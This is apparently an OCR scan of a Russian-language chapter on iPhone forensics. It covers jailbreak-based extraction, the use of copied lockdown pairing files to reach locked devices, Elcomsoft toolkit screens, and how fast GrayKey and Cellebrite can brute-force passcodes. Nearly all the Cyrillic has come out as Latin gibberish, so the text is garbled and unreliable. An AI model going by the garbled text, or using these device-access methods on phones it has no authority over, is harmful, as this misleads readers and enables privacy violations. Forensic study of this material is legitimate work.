Ha crapeix Bepcusax i0S (8.x—10.x), eqMHCTBeHHBIH BapuaHT — nepebop. U ecnm ans
iOS 8-10.1 ckopocth araku Oblina MpuemjaeMoi (COTHM ThICSY Mapojiei B CEKyHIy Ha
GPU), To Hauunas ¢ iOS 10.2 noGoBas araka He BapHaHT: CKOPOCTb nepebopa He mpe-
BBILIAET COTHM Maposiedl B CEKyHy AaXke MpPU MCIMOJIBb30BAaHMHM MOIIHOTO rpadMyecKoro
yckoputesnis. Bripouem, MoxkHO nonpoGoBaTh M3BJIE€Yb MAapoJid, KOTOPBIE MOJIb30BATEND
COXpaHHJ, HanpuMep, B Opayzepe Chrome Ha nepcoHaJIbHOM KOMITBIOTEPE, COCTABUTH M3
HUX CJIOBapHK W MCIOJIb30BaTh €ro B KauecTBe 6a3oBoro crnosaps mis ataku. (He mose-
pHILIb: Takas MPOCTas TAKTHKa cpabaThIBaeT MPUMEPHO B ABYX CIIy4asiX U3 TPeX.)

A Bot yctpoiicta Ha iOS 11 1 12 no3BossitoT 3anpocTo cOPOCUTH NapOIIb HA PE3EPBHYIO
Konuio npsiMo u3 Hactpoek iPhone. Ilpu 3ToM cOpocsaTcs HEKOTOpbIE HACTPOWKH, TaKKUe
Kak ApKocTb 9KkpaHa v napoiau Wi-Fi, HO Bce MpUIoXeHHs M UX JaHHbIE, a TaKXKe MapoJIu
nosb3oBatens B keychain ocranyrcs na mecre. Ecim ecte ko G710KMPOBKH, €ro notpe-
OyeTcs BBECTH, HO €CJIM OH HE YCTaHOBJIEH, TO cOpoc maposis Ha OoKan — Aes0 HeCKOb-
KHMX KJIMKOB (puc. 14.2).

Yro ele MOXKHO M3BJI€Ub M3 YCTpPOHCTBA ¢ MycTbIM KoaoM OnokupoBku? He mpuberas
K JKeHnOpeliky, COBEpIIEHHO CMOKOHHO MOXKHO U3BJIEUb CIEAYIOLINI HAOOp TaHHBIX:

O nonHyto uHpopMaLuio 00 YCTPOUCTBE;

O wndopmaLMio O Nosb30BaTeNe, YUYeTHbIX 3anucax Apple, Homepe TenedoHa (maxe
ecnu SIM-kapTy u3BnekiIn);
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No SIM & E8 14:37 @ 3 100 % .

£ General Reset

Reset Al S

Puc. 14.2. [Iina c6poca napons Ha pe3epBHyI0 konuio ucnons3yin komaHay Reset All Settings.
OHa cBpocuT nuib HEKOTOpble HACTPOIAKK, BKNIOYas Naponb Ha 63kan, Ho He 3aTPOHeT AaHHbIe
CITUCOK YCTAaHOBJICHHBIX ﬂpuﬂO)KeHHﬁ;
Menuacdaiiibr: GoTo U BUIEO;

Gaiinbl npuiioxkeHui (Hanpumep, 10KyMeHTbl iBooks);

Qoaaa

CUCTEMHbIe XypHasbl crash logs (B HMX, B YaCTHOCTH, MOXHO OOHapyXHUTb WHQOp-
MAaLMIO O MPUJIOKEHHUIX, KOTOpble ObUIM BIOCIENCTBUM JAEUHCTALJIMPOBAaHbl M3 CHC-
TEMBI);

O yXe yNnoMsHYTYIO pe3epBHYI0 Komuio B popmMate iTunes, B KOTOpYIO NonaayT AaHHBIE
MHOI'MX (He BCeX) MPUJIOKEHUH M MapoJiH MOJb30BaTells OT COLUANIbHBIX CETEM, Cak-
TOB, MapKepbl ayTeHTU(PUKALIMK U MHOTO€ APYroe.

Oxennbpenk n pusnyeckoe usBrnevyeHme gaHHbIX

Ecnu Tebe He xBaTUiI0 HHPOPMALIMK, U3BJIEUEHHOM 13 OdKana, UM eciiy He yIaJloch IMo-
n06path naposb K 3anpoBaHHONW pe3epBHOM KOMUM, OCTaeTCs TOAbKO ukei. Celvac
jailbreak cymiectByer ans Bcex Bepcuii i0OS 8.x, 9.x, 10.0-11.2.1 (Oonee paHHHe He
paccmatpuBaeM). lns i0OS 11.3.x ectb mkein Electra, kotopsiii pabotaeT u Ha Oonee
paHHHX Bepcusx i0S 11.

Jng ycraHoBkM keinOpelika Hy)KHO BOCMOJIB30BAThCSA OJHOH M3 MyOJIMYHO JOCTYMHBIX
yrunut (Meridian, Electra u T. 1.) 1 uncrpymentom Cydia Impactor. CyliecTByIoT aib-
TEpPHAaTHBHbIE CMOCOOBI B3jlOMa — HaMpUMep, ScKajalus MpuBWieruid 0e3 ycTaHOBKU
nyOJIMYHOrO JpKeHIopeiiKa NMpH MOMOLIM 3KCIUTyaTallii U3BECTHON YA3BUMOCTH (HarmoM-
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Hi0, s 10S 10-11.2.1 370 oaHa 1 Ta ke YA3BUMOCTb, MHPOPMALMIO O KOTOPOM, BKITHO-
Yasi FOTOBBIM MCXOAHBIM KO/, onyOaukoBanu cneuuanuctel Google). O0benuHseT Bce
3TH CIOCOObI OOLIMH MOMEHT: JUIS UX MCMOJIb30BaHUS HEOOX0AMMO, 4ToObl iPhone Obin
pa3bI0KMPOBaH U CBA3aH C KOMITBIOTEPOM (YCTAHOBJIEHbI JOBEPEHHBIE OTHOLLEHHS ).

Cnenyrowumii war — u3BjedeHue odpasa daitioBoit cuctemsl. Jig 3Toro B nyuuem ciy-
Yyae NOCTAaTOYHO OTKPBITH ¢ TesnedoHOM ceccuio mo mnpotokoay SSH M BBIMONHHUTL HA
iPhone uenouky komaHz; B 0osee CIOXKHBIX clydasx norpedyercs Bpy4HYI NMponucaTh
Hy>Hble myTH B PATH 1160 BoCcnonb30BaThesi rOTOBBIM NPOAYKTOM. Pe3ynbraTtom Oynet
¢aiin TAR, nepenanHbiii yepes TYHHEIbHOE COEIMHEHHE.

Ecnu Ha cmaptdone ycranosiena iOS 11.3.X, cTaBuTh ukeinOpeiik npuaercs Bpy4Hylo,
a ana u3BjedeHus wHdopmaiuu Bocnosb3oBaThes ytunutod 10S Forensic Toolkit
(puc. 14.3) unu apyroi nonoOHOM.

@® @ < ElcomSoft — Toolkit.command — tee « Toolkit.command — 80x33

wWelcome to Elcomseft i0S Forensic Toolkit
This is driver script version 4.8/Mac for 64bit devices

(c) 2011-2018 Elcomsoft Co. Ltd.

Device connected: John's IPhone 7
Hardware model: D181AP

Serial number: DNPSG612HG7L I
i0S version: 11.0.3

Device ID: 8552be27f245010e8ff46771a1f5dfbe7e03a80c¢ I

Please select an action

Logical acgquisition

I DEVICE INFC - Get basic device information
B BACKUP - Create iTunes-style backup of the device
M MEDIA - Copy media files from the device

S SHARED Copy shared files of the installed applications
L LOGS Copy crash logs
}Physical acguisition
D DISABLE LOCK - Disable screen lock (until reboot)
K KEYCHAIN - Decrypt device keychain
F FILE SYSTEM - Acquire device file system {(as TAR archive)
| X EXIT
[ >: §

Puc. 14.3. Tak Bbirnsaut nHTepdenc NpunoXxeHns, KOTopoe usenekaeT nHhopmauuio us iPhone

Ecnu ke Ha iPhone paboraet i0S 11.4 unu Gonee cBexas BepcHs, TO IKEWT NpuaeTcs
OTJIOKMTB Ha HEOIpEIeIeHHOE BpeMsi — I0Ka co0OLIEeCTBO pa3paboTUMKOB He HallyMNaeT
OYEepeIHYIO HE3aKPBITYIO YSI3BUMOCTb. B 3TOM ciyuae tebe MoCiyKUT pe3epBHask KOMUSA
(a Taroke u3BneveHue oowwMX GaiioB npunoxkenuid, Gororpaduii u mennadaiios u He-
KOTOPBIX CUCTEMHBIX KYPHAJIOB).

Pazymeercs, B pe3epBHy10 Konuio nonazaer He Bce. K npumepy, B Heii He coxpaHseTcs
nepenucka B Telegram, B Hee He NonajaarOT cOOOIIEHHMs 3IEKTPOHHOM MOUTHI, @ HCTOPHS
JIAHHBIX MECTOIOJIOKEHUS MOJIb30BaTENs UCK/IIOYHTENBHO JakoHHYHA. TeM He MeHee,
pe3epBHas KOMUA — 3TO YK€ HEMaJIo.
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A 4TO, €CJin MoJIb30BaTElb HE COBCEM OecreyeH W BCe-TaKM YCTAHOBMIT KOA O10KMPOBKH?
Jaxe camble GecrieyHbie MOJIb30BATENH BbIHYKACHbBI HCTIOIb30BAThH NACCKO/, €C/IH TaKO-
BO TpeOOBaHHE MOJIUTHKU O€30MacHOCTH UX paboToaaTesisi MTH ecii OHU XOTST UCMOJIb-
30Bath Apple Pay. U 3nech nBa BapuaHTa: WM KoA OJOKMPOBKM M3BECTEH, WM HET.
Haunewm c npocroro.

U3BecTeH nu ko 6NOKMPOBKN?

Ecnu 1 3Haewb KO GIOKMPOBKH, TO MOXKELIb CIe/IaTh ¢ YCTPOHCTBOM MPAKTHYECKH YTO
yrogaHo. Bximouuts u pa30iokupoBath — B J1t000i MomeHT. [TomMensTh naponb ot Apple
ID, c6pocuts npusszky k iCloud u otkmrounts iCloud lock, BKIOUMTE WK BBIKIIOUUTH
NBYX(haKTOPHYIO ayTeHTH()UKALMIO, COXPAHUTh Maposy U3 JokaabHoro keychain B o6na-
KO M u3BJIedb UX oTTyza. [{ns ycrpoiicts ¢ 10S 11 u Gonee HOBBIX — COpPOCHUTH Mapolib
Ha PE3ePBHYIO KOIHUIO, YCTAHOBUTH COOCTBEHHBIM M paciuugpoBaTh BCe TE JKe Mapoiu OT
CalTOB, Pa3HOOOPA3HBIX YUETHBIX 3AMUCEH U NPUTOKEHUH.

B iOS 11 u 6onee HOBBIX KO/ GIOKHPOBKH, €CJIM OH YCTAHOBJEH, NOTpedyeTes U yis yc-
TAHOBKH [IOBEPEHHbIX OTHOLIEHHI C KOMIMbIOTEPOM. DTO HEOOXOAMMO KaK A CHSTHA
pe3epBHON KOMMHM (31€ch MOTyT ObITh M ApYrde BapHaHThl — Hamnpumep, yepes ¢aiin
lockdown), Tak u ast ycTaHOBKHM JikeiinOpeiika.

CMoskelllb JIM Thl YCTAHOBUTH JUKEHNIOpEeiK M BHITALIUTE T€ HEMHOIUE, HO TOTEHLUAIbHO
LEHHbIE AJIS PacC/eJOBaHMS JJaHHbIe, KOTOPbI€ HE MOMaJaoT B Pe3epBHYI0 KOMHUio? D10
3aBUCHT OT Bepcuun 10S:

O i0S 8.x-9.x: [ukeindpeiik ecTh NpakTHYecKH 15 Beex kombuHaumnii OC u matdopm;

O OS 10.x-11.1.2: jkeitnOpeiik HCroab3yeT OTKPbITHII IKCIIIONT, 0OHApYKEHHBIH crie-
nuanucramu Google. Paboraer Ha Bcex ycTpoiicTBax;

O i0S 11.2-12.x: mKeia0peiik cylecTByeT U MOKET ObITh YCTaHOBJICH;

O i0S 13 u Bbllle: B HACTOSIIMH MOMEHT JIJKEHIa HEe CyLLIECTBYET.

Wrak, 3akynneHHbit CneacTtBeHHbiM komuteTom komnnekc iDC-4501 nossonseT AOCTUYbL
ackanauuu npusuneruid B iPhone, paboTatowmx nog ynpaenenvem iOS sepcuii ¢ 10.0 no
11.1.2 BKNIOYUTENBHO, NOCHE Yero U3BfieYb U3 YCTPOWCTBA AAHHbIE.

A uto, ecnu koa OJOKHMPOBKH HeuzBecTeH? B 3ToM ciayyae BEpOSTHOCTb YCIEIIHO W3-
BJI€Yb XOTb YTO-HUOYAb HAUMHAET CHIDKAThCs. Bripouem, W 37ech He BCE MOTEPAHO —
B 3aBUCUMOCTH OT TOTO, B KAKOM COCTOSIHMM MOCTYIK Ha aHaiu3 TeiedoH v Kakas Bep-
cust 10S Ha HeM yCTaHOBJIEHA.

JKpaH ycTpoucTea
3abnoKMpoBaH unu pasdnokuposaH?
Janeko He Bcera B pyKu MOJMLIAK MOMNasaeT 3a0/10KMPOBaHHBIN TeJIe(OH, I KOTOPOro

M3BECTEeH Ko OnokupoBku. J[oBOBHO THNMYHA «TipockOay nonuueiickoro: «llepenaiite
MHe TenedoH. Pazbnokupyiite!» [lo crosam camux paOOTHUKOB MOJMIMH, €CJIM FOBO-
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PUTb YBEPEHHBIM TOHOM, Ja €LIe M Ha MEeCTe MPOMCLUECTBUS, JIOAU YACTO BBIMOIHSIOT
npockOy. Crycrst 10-15 MHUHYT «OHM HauMHAIOT AyMaTb», HO YK€ MO3JHO: MOJyYUTh
Ha3aj pa30JIOKUPOBAaHHOE YCTPOMCTBO BpAAd JM yaacTcs. bonee Toro, y mojavLMU MOXKET
ObITH Opzep, B KOTOPOM OyJeT MpOonucaHo pa3pelieHre Ha pa3diIOKMPOBKY YCTpOHCTBA
Npy MOMOLUM JaT4yMKa OTIEYaTKOB WM JIMLA IOJb30BaTelsi MPOTUB BOJIM Biajeliblia
(a BOT y3HaTh TakuUM k€ 00pa3oM Ko OJOKMPOBKU MOKET HE MOTYYHUTbCS B 3aBUCUMOCTH
OT FOPUCAMKLIMK).

Apple Betpouna B i0S 3amuTy OT TakMX AEHCTBHI MOJMLMHU, OFPAaHUYMB MEPUO, B Te-
yeHue kotoporo aatyuku Touch ID u Face ID coxpanstor paborocnoco6HocTs. Cryctst
OTpezielieHHOe BpeMsi, KOTOPOEe MOXKET OTCUMTBHIBATbCA KAaK C MOMEHTA IocieaHei pas-
GJOKHpPOBKM BOOOILE, TAK U ¢ MOMEHTA MOC/IeIHEro BBO/Aa koaa 6;10kupoBkH, iPhone npu
OYepeHOM NMoMbITKe pa30I0KUPOBaTh YCTPOHCTBO NPEATIOKHUT BBECTH KOJI OJIOKMPOBKH.

He Oynem noapoOHO ocTaHaBIMBATHLCA HA 3TOM Teme. /locTaTOuHO ynoMsHyTh, 4TO OHO-
MeTpHUECKHe TaTUMKH OTKIIoYaroTes crycTs 48 yacoB ¢ MOMEHTa nociie/iHei pa3daoku-
POBKH, WJIM CIYCTs 8 4acoB, eciM MoJb30BaTeslb He BBOAWI KOJ OJOKUPOBKH B TEYEHHE
LIECTH THEH, WK MOocye MATH HeyAauHbIX MOMBITOK CKAHUPOBAHUS, WM MOC/Ie TOro, Kak
noJib30BaTellb akTUBUpYeET pexxuM SOS, kotopeiii nosisuics B i0S 11.

Hrak, B TBOM pyku nonan iPhone, sxpan kotoporo pa3biokuposat. TBou neiicTus?

O Ilocrapaiicsi OTKJIIOYMTH aBTOMATHUYECKYIO OJIOKMPOBKY 9KpaHa B HACTpoOMKax. YuTH,
4TO, €CTH Ha TesneoHe YCTaHOBJIeHa KopriopaTiBHas nonuTrka Exchange i MDM,
TaKasi BO3MOYKHOCTb MOJKET ObITh 3a0JI0KHpOBaHa.

O TNoaxmoun TenedoH K KOMIBIOTEPY U MOIMbITANC YCTAHOBUTH JI0BEPEHHbIE OTHOILIE-
Hus. J{ns i0S ¢ 8 no 10 mns sroro mocratoyHo noATBepAMThL 3anpoc Trust this
computer, a BoT 1u1s1 iOS 11 u Bbite Tebe norpedyercs BBecTH koA 61okupoBku. Eciu
’Ke Koz OJIOKMPOBKM HEM3BECTEH, MOINbITaiicsd HAHUTH Ha KOMMbIOTEpE MOJIb30BATENS
daiin lockdown (o TOm, 4TO TO Takoe W IJie XpaHUTCS, JKypHAT «XaKep» yiKe HEO-
HOKpaTHO nucal).

O Ecnu yaanoce yCTaHOBUTh JOBEPEHHbIE OTHOLIEHUS, CO3ai Pe3epBHYIO KOMHIO.

O Ecnu xe noBepeHHbIE OTHOILEHHUS YCTAHOBUTH HE yJanoch, a daitn lockdown He Ha-
LIeJICSl UM CPOK €ro JIeUCTBUS MCTEK, TeOe MPUAETCs BOCIMOJIb30BATLCS KOMILIEKCOM
GrayKey nns nondopa koga 6qokupoBkr uau yenyramu Cellebrite (Mx oka3sbIBaroT
TOJILKO TMOJTUIIMK M CTIELICTYKOaM HEKOTOPbIX CTpaH).

B nByx cnoBax npo daiinsl lockdown: ais Toro 4roObl HayaTh 0OMEHHBATHLCS JAHHBIMU
¢ kommetoTepoM, iPhone TpebyeT ycTaHOBUTH JOBEpEeHHOE COCAMHEHHE, B MPOLIECCE KO-
TOpOro co3faercs napa Kpunrtorpaduueckux kiatoueil. OauH U3 KIIOYEH coxpaHseTcs B
CaMOM YCTpOMCTBE, a BTOPOM MepeaaeTcsi Ha KOMIbIOTEp, I1e U XPaHUTCS B BUIE OOBIY-
Horo ¢aiina. Ecnu takoit ¢ain ckonmupoBaTh Ha Jpyrod KOMMBIOTEP WIW MOJACYHYTh
tenedoHy npu nomoiwu crneunansHoro [10, To Tenedon Oynetr yBepeH, 4rto obimaercs
C IOBEpeHHBIM KoMIbloTepoM. Camu daiiiibl COXpaHSIOTCS 3/1eCh:

O B Windows Vista, 7, 8, 8.1, Windows 10 sto %ProgramData%/\Apple\Lockdown.
Hanpumep:
\ProgramData\Apple\Lockdown\6f3a363e8%af8e8bd293ee839485730344edbal .plist
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3 B Windows XP ato daiin %AllUsersProfile%\Application Data\Apple\Lockdown.
BbirnsaeTs nonuelii myth OyaeT NpUMepHO Tak:

C:\Documents and Settings\All Users\Application
Data\Apple\Lockdown\6f3a363e89%aaf8e8bd293ee839485730344edbal.plist

3 B macOS 10 daiin /var/db/lockdown.

B HazBaHuu daiina npucyTCTBYeT YHUKaNIbHBIN HAeHTUUKaTOp ycTpoiicTea (iPhone uan
iPad). Y3uath ero N0BOJBHO JIErKO — JOCTATOYHO BBIMOJHHUTE 3arpoc MpH MOMOLIM
Elcomsoft iOS Forensic Toolkit. UUID 6yzaet coxpanen B daitn XML caenytowero
BUJA!

<?xml version="1.0" encoding="UTF-8"?2>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd™>

<plist version="1.0">
<dict>
Lot s
<key>UniqueDeviceID</key>
<string>0a226c3b263e004a76e6199c43c4072ca7c64a59</string>
</dict>
</plist>

Cpok xwu3nu daiinos lockdown B iOS 11 u Gosee HOBBIX BepCHsX OrpaHUYEH U B TOUHO-
CTU HEU3BECTEH. JKCMEePUMEHTAILHO Yal0Ch YCTAHOBUTD, YTO YCTPOWCTBA, KOTOPhIE HE
MOJK/IOYATUCH K JOBEPEHHOMY KOMIMbIOTEPY JA0JblIe ABYX MeCALEB, HHOria TpedytoT
MOBTOPHOIO YCTAHOBJICHUS IOBEPEHHBIX OTHOLICHHWH, TaK YTO cTapbie (ailabl MOryT He
cpaborars.

Bosspawyaemcs ¢ uctopum ¢ CK. 3akynneHnHbin komnnekc iDC-4501 no3sonsieT BbINONHUTL
ackanauvio npusuneruii Ha pasbnokuposaHHom iPhone noa ynpasnexwuem iOS Bepcui
¢ 10.0 no 11.1.2 BKNIOYMTENLHO, NOCMNE YEro WU3BneYb U3 yCTponucTBa AaHHble. Ans iOS
11.0-11.1.2, BO3MOXHO, noTpebyeTcs unu BBeCcTW kof OGNOKMPOBKW, MMM UCNONbL3OBATb
dann lockdown (3TOT MOMEHT B AOKYMEHTaLuUW KOMMSIEKCa He OCBELLEH, Kak U BO3MOX-
HOCTb B3roma nacckoaa ansa nbsix iPhone nog ynpasnenunem iOS Hosee, Yem i0S 7.x).

Eue uyth Gonblue WHOOpPMALMH Thl CMOMKELIb MOJYUYMTh, €CAM Y TeOs €CThb A0CTYI
K OMOMeTpHKe M0JIb30BaTE/Iss — €ro OTNeYaTKy naiblia Wik Jiniy. lorjaa Thl cMoKellb
NPOCMOTPETh MApOJIM M3 JIOKAILHOTrO Xpanuiuiua keychain.

BknioueH iPhone unu Boiknw4yeH?

OT Tako#H MpOCTOM BelM 3aBUCUT O4YeHb W oYeHb MHoroe. Eciu iPhone Britouen, To Be-
JMK LIaHC Ha TO, YTO Biajesell pa3dJOKUpoBan YCTPOHCTBO XOTd Obl pa3 ¢ MOMEHTa
BIJIIOUEHHS. DTO, B CBOIO Ovepe/lb, O3HA4YaeT HaJIMuue J0CTyna K 3alin@poBaHHOMY
N0J1b30BaTENILCKOMY pazjielly — T. €. K YCTAHOBJEHHBIM TPHUIOXKEHUAM M HUX JaHHbBIM,
CUCTEMHbIM JKypHajlaM U MHOTOMY ApYyromy.

B Ttenedone, kotopeiii Obl1 pazbiokupoBaH XoTs Obl pa3, pabotator cepsuchl AFC,
ciryx0a co31aHHus pe3epBHbIX KOMHUH, €CTb BO3MOXHOCTB MOIYYHTh T€ JaHHbIE, K KOTO-
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PbIM TIPWIOXKEHHsT OTKPBUTH AocTyn. HakoHen, MoxxHO u3Bieus dotorpaduu. [lns Bcero
9TOTO JaXke He mnpuaeTcs pa30ioKupoBaTh TesedOH: MpU ONMpeAeIeHHON yaade aocTa-
TOYHO BOCTOJIb30BaThes ¢aiinom lockdown, M3BneueHHbIM U3 KOMITBIOTEpA MOJIB30BaTe-
ns. Eciu ke Takoro daiina HeT, MOXKHO MOMbITaThes pa30a0KUpoBaTh TesaedOH JaTUUKOM
orneuarka Touch ID unu ckanepom nuua Face 1D.

Hrak, eciiu Tebe B pyKku monai BkItOUeHHbIN iPhone ¢ 3a010kMpoBaHHBIM 3KpaHOM, ThI
MO>Kelllb TTONpoOOoBaTk CAENaTh CeAyIOLIEe.

1. Moakmouuts Tenedon k kommbiotepy. Ecnu Ha tenedone noseuiocs coobuieHune
Unlock iPhone to use accessories, a KOMIBIOTEP COBEPIIEHHO HE BUAMT YCTPOWCTBA,
TO Tebe He MOBe3JI0: BEPOATHO, Ha ycTpoiicTBe padotaet iOS 11.4.1 unu Gonee HoBas
¥ Mpouwio GoJbliie Yyaca ¢ MOMEHTA, KOT/1a MoJIb30BaTellb B MOC/IEIHUI pa3 pa3Oioku-
poBan ycTpoicTBo. JToT pexkum umeeT HazBanue USB Restricted Mode u cran peak-
umeit Apple Ha mosiBIeHHe CEPBUCOB /15 B3JI0Ma Ko/1a OJIOKHPOBKH — B MEPBYIO OYe-
pens, GrayKey u Cellebrite. YBbI, eciu TenedoH nepeuiesl B pexuM OrpaHUYEHHUS
USB, Tebe He ymactcs HM Bocronb3oBathesi (aiinom lockdown, Hu momobpath kon
6nokupoBku mpu nomoiu cepeucoB GrayKey niu Cellebrite. He nomoxer Hu nepe-
3arpyska, HHM JlaJke BOCCTAHOBIICHHE MPOUIMBKYU 4epe3 recovery mode ¢ coxpaHeHHeM
JMaHHBIX. EQMHCTBEHHAas: BO3MOXKHOCTH — pa30JI0KMpoBaTh Tene(OoH NpH MOMOLIH
Face ID, Touch ID (0 HUX — HWXKe; BpeMs, B Te4EHHE KOTOPOro MOXKHO HCIOJIB30-
BaTb OMOMETPUKY /Ui pa30JIOKMPOBKH, orpaHuyeHo). Hakoneu, TtenedoH Bcerma
MOKHO pa30JI0KUpOBaTh, BBE/S MPABUIbHBIN KO OJOKUPOBKH.

2. Ecnu TenedoH MOAKIIOYMICS K KOMIBIOTEPY, TO MEPBOE, YTO HYKHO CleNaTh, — I10-
ny4uTh uHpopMmanmio 06 yerpoiictee. B Elcomsoft iOS Forensic Toolkit mis sroro
CIIY)KMT KOMaHJa Information. Jlake 0e3 yCTaHOBIEHMs JOBEPEHHBIX OTHOLICHHM
C KOMIBIOTEPOM ThI CMOXelIb y3HaTh Bepcuto 10S, TouHblit naeHTH(UKaTOp MOAENH,
CepHiiHBIN HOMEp YCTpPOMCTBA M, BOSMOYKHO, HOMep TeseoHa Moib3oBatens (naxe
ecnu u3 Tenedona BeiHyIM SIM-kaprty). B 3aBUCMMOCTH OT yCTaHOBIEHHOW BepCHH
iOS Tebe OyayT HOCTYINHBI T€ WM MHbIE cr1ocoObl 10OpaThes 10 MOIb30BATENBCKHX
JTAHHBIX.

3. Ecnu TenedoH NoaKIOUUICS K KOMIBIOTEPY, a y Tedst Ha pykax ecthb ¢aiin lockdown
C KOMTBIOTepa MoJb30BaTelisi — CHYMUTai, uto Tede nosessno. [Ipu nomomu storo daii-
Jla MOYKHO TOMBITAThCS CO3/1aTh CBEXKYIO PE3EPBHYIO KOMHIO — pa30JI0KMpOBaTh Te-
nedon He npuzaetcs! Bripouem, o daitnax lockdown mbl yxxe nucanu; ecnu daiin nei-
CTBYIOIIMM, TO TeOe yaacTcs U3Bjiedb U3 TeiedoHa Kak MUHUMYM PacIMPEHHYIO HH-
dopmarmro 06 ycrpoiicte (eciu iPhone He ObL1 pa36iokupoBaH XoTs Obl pa3 mocie
BKIIIOYEHHs). A BOT eciid TeseoH Obln pa3OJIOKUPOBaH XOTS Obl €JHUHOMXKIBI TMOCIIE
TOr0, KaK €ro BKJIFOUHJIH, TO Mpu oMoty daiina lockdown mosyuurcs u3Bieds U Me-
muadaiinel (GpoTo U BHUaeo), u xkypHan crash logs, u daitisl npunokeHui, U CBEKYIO
Pe3epBHYIO KOIMHIO (BOT TOJILKO Mapolib Ha O9Kar, eclii OH YCTaHOBJIEH, COPOCHTh He
MOTYYUTCS — 15l TOTO HY)KeH KOJ OJIOKMPOBKH).

Ho 4ro, ecnu Ha pykax y TeOs Ki1acCHU4YeCKHil YepHbIH Kupnuy 0e3 MpU3HAKOB YKH3HU?
Ecnu B3nomats TpeOyercs BbikItoueHHbIH iPhone, Tebe Tak unu uHaue morpedyercs y3-
HaTh KOJ OJIOKHMpOBKH. [leo B TOM, 4TO pas/iesn MoJib30BaTeNIbcKUX AaHHbIX iPhone 3a-
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]_IIHd)pOBaH, a KoY mu(bpoaamm BBIYUCIIACTCS JUHAMHUYECKHU Ha OCHOBE almnapaTrHoro
KJItO4a W JaHHBIX, KOTOPbI€ BBOJUT I10JIb30BATE]Ib, — TOI'0 CaMOro Koja 6HOKHpOBKM.

Jaxke eciu Tbl U3BNEYeLIb U3 TeaedOoHa MUKPOCXEMY MaMsATH, Tebe 3TO HU4YeM He MOoMOo-
JKeT: 1aHHbIe 3amKdpoBansbl, 10CTyNa K HUM HeT. bosee Toro: ecim iPhone paboraer noj
ynpasneHueM iOS 11.4.1 uiam Gosiee HOBOM, TO OUEHBb BbICOKA BEPOSITHOCTD, YTO 0 BBO/A
MPaBUIBHOIO MapoJis Thl HE CMOXEWb Jake MOJK/IOYMTH YCTPONWCTBO K KOMIBIOTEPY.
TouHee, (U3MUECKH MOAKIIOUMTH Thl €0 CMOXeEIllb, HO repejava AaHHbIX yepe3 USB
Oyner 3ab10kMpoBaHa — He MOTYUUTCS Jake MOMy4YUTh HH(pOpMaLmio 00 ycTpoicTBe U
y3HaTh, kakas ke Bepcus 10S Ha Hem 3arylleHa.

Utak, y 1ebs Ha pykax 3a010KMpPOBaHHbIN Tesie)OH, KOTOPBIH MOXKHO MOAKIIOYHUTH
K kommnbrotepy. [lonpoOyem B3nomars ko OJ0KHPOBKH?

B kKakux crny4asix MOXHO B3/IOMaThb
Kon 6NOKMPOBKM 3KpaHa

Bot MbI 1 gouuu 10 camoro uHTepecHoro. MoxHo u B3noMats iPhone 3a neBsits Mu-
HyT? A 3a cytku? A B npuHuune? Ecau TenedoH 3a0J0KMpOBaH, a Ko OJIOKMPOBKH He-
W3BECTEH, MHOTOE OyJeT 3aBMCETb OT COCTOSIHMA ycTpolcTBa. PaccMoTpuM BCe BO3MOXK-
Hble 00CTOATENILCTBA, PACMIONOKHUB UX B MOPAIKE BO3PACTAHUSA CIOMKHOCTH.

1. Ha Ttenedone zanymena crapas epcus iOS (no 11.4) u tenedon pazdaokupopacs
nosib3oBaresieM XoTs Obl pa3 ¢ MOMEHTa HauyajlbHOM 3arpy3ku. B stux Becema Giaro-
NPUATHBIX YCIOBHSX Thl CMOXelWb Bocroib3oBaThesi GrayKey wiam yciayramu
Cellebrite (ecnu TbI npeacTaBIselib MPaBOOXpaHUTEbHbIE OpraHbl). CKOpOCTh Mnepe-
6opa Oyzer BbICOKOM: 4eThipex3HauHbli HUPPOBOI KO GIOKUPOBKM MOXKHO M0a00-
paTh MEHee YeM 3a yac, a CKOpOCTh rnepedopa mecTU3HAYHbIX LIM(POBLIX KOA0B OyaeT
BBICOKOH 1t niepBbiX 300 Thicay nonbIToK. Jlanbliie ckopocTh nepedopa pe3Ko CHHM-
3uTCcs — cpaboraet 3amuTa Secure Enclave.

2. Ha Tenedone 3anymena crapas sepeus i0S (1o 11.4) u renedon He pazdaokuposascs
HM pasy rnocie Biiovenus, aubo Bepeusi i0S 11.4 (HeBaxkHO, pa3diaoOKUpoBacs JIM
tenedon), 6o Bepeus i0OS 11.4.1 u Bbitie (HeBaXKHO, pa3dIOKMpoOBATICs T TeneoH,
Ho pexxum USB Restricted Mode He aktuBupoBascs — T. €. MPOLLIO MEHbILE Yaca
C mocieaHel pa3dIoOKMPOBKU YCTPOUCTBA WiTH TeeoH Obll MOIKIOUEH K UdpoBOMy
ajanrepy, 4ToObI MPENOTBPaTUTH OJOKUPOBKY). Bo Bcex 3THX ciydasx CKOpOCTb
nepeGopa OyaeT O4YeHb MEJIEHHOM: YeThIpeX3HauHble LU(PPOBbIE KOAbI OJOKMPOBKH
MOTYT ObITh B3IOMaHBI 33 HEJE/I0, @ IECTU3HAYHBIH LIM(POBOI KOA MOMKHO nepedu-
paTh 10 ABYX JIET.

3. Ha rtenedone 3amymena iOS 11.4.1 wiu Gonee HoBasi; aktuBuposayicst pexxum USB
Restricted Mode. YBbI, €AMHCTBEHHOE, YTO MOXKHO C/eJlaTh B TaKOM ciyvae, — 3TO
nonpobosate pazdiokuporath Tenedon aatunkom Touch ID wam Face ID nubo Bae-
CTH TpaBWIIbHBIA KOJ OJIOKUPOBKH. 3anyCTHTh aBTOMAaTH3MPOBAaHHBIA mepebop He
yaactes, Kak He yaactes U 00OMTH YHMUTOKEHME JaHHBIX [0C/IE IeCITH HEBEPHbIX
MOMBITOK (€CJIK 3Ta OTLKs BKIIIOYEHA M0JIb30BATENIEM).
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Kak paboTaeTt B3510M KOof1a 6NMOKMPOBKMU

Jlnsa coBpeMeHHbIX ycTpoicT ¢ 10S 10 Bepcuii M 11 cyliecTByeT poBHO [1Ba pelUEHMs,
KOTOpbIE MO3BOJISIOT M0A00paTh Koa OJ0KkMpoBKM 3kpaHa. OAHO W3 HMX paspaboTana
kommnanus Cellebrite u npeocTaBiser ero B BUie cepBUca, J0CTYTHOTO UCKIIOUUTEIBHO
MPaBOOXPAHUTEIBHBIM OpraHaM MpH HaJMYHK COOTBETCTBYIOLIErO MOCTaHOBACHHS. YTo-
Obl B310MaTh KO OJOKMPOBKH, Tesie()OH HYKHO OTNPABUTH B CEPBUCHBIN LIEHTP KOMMa-
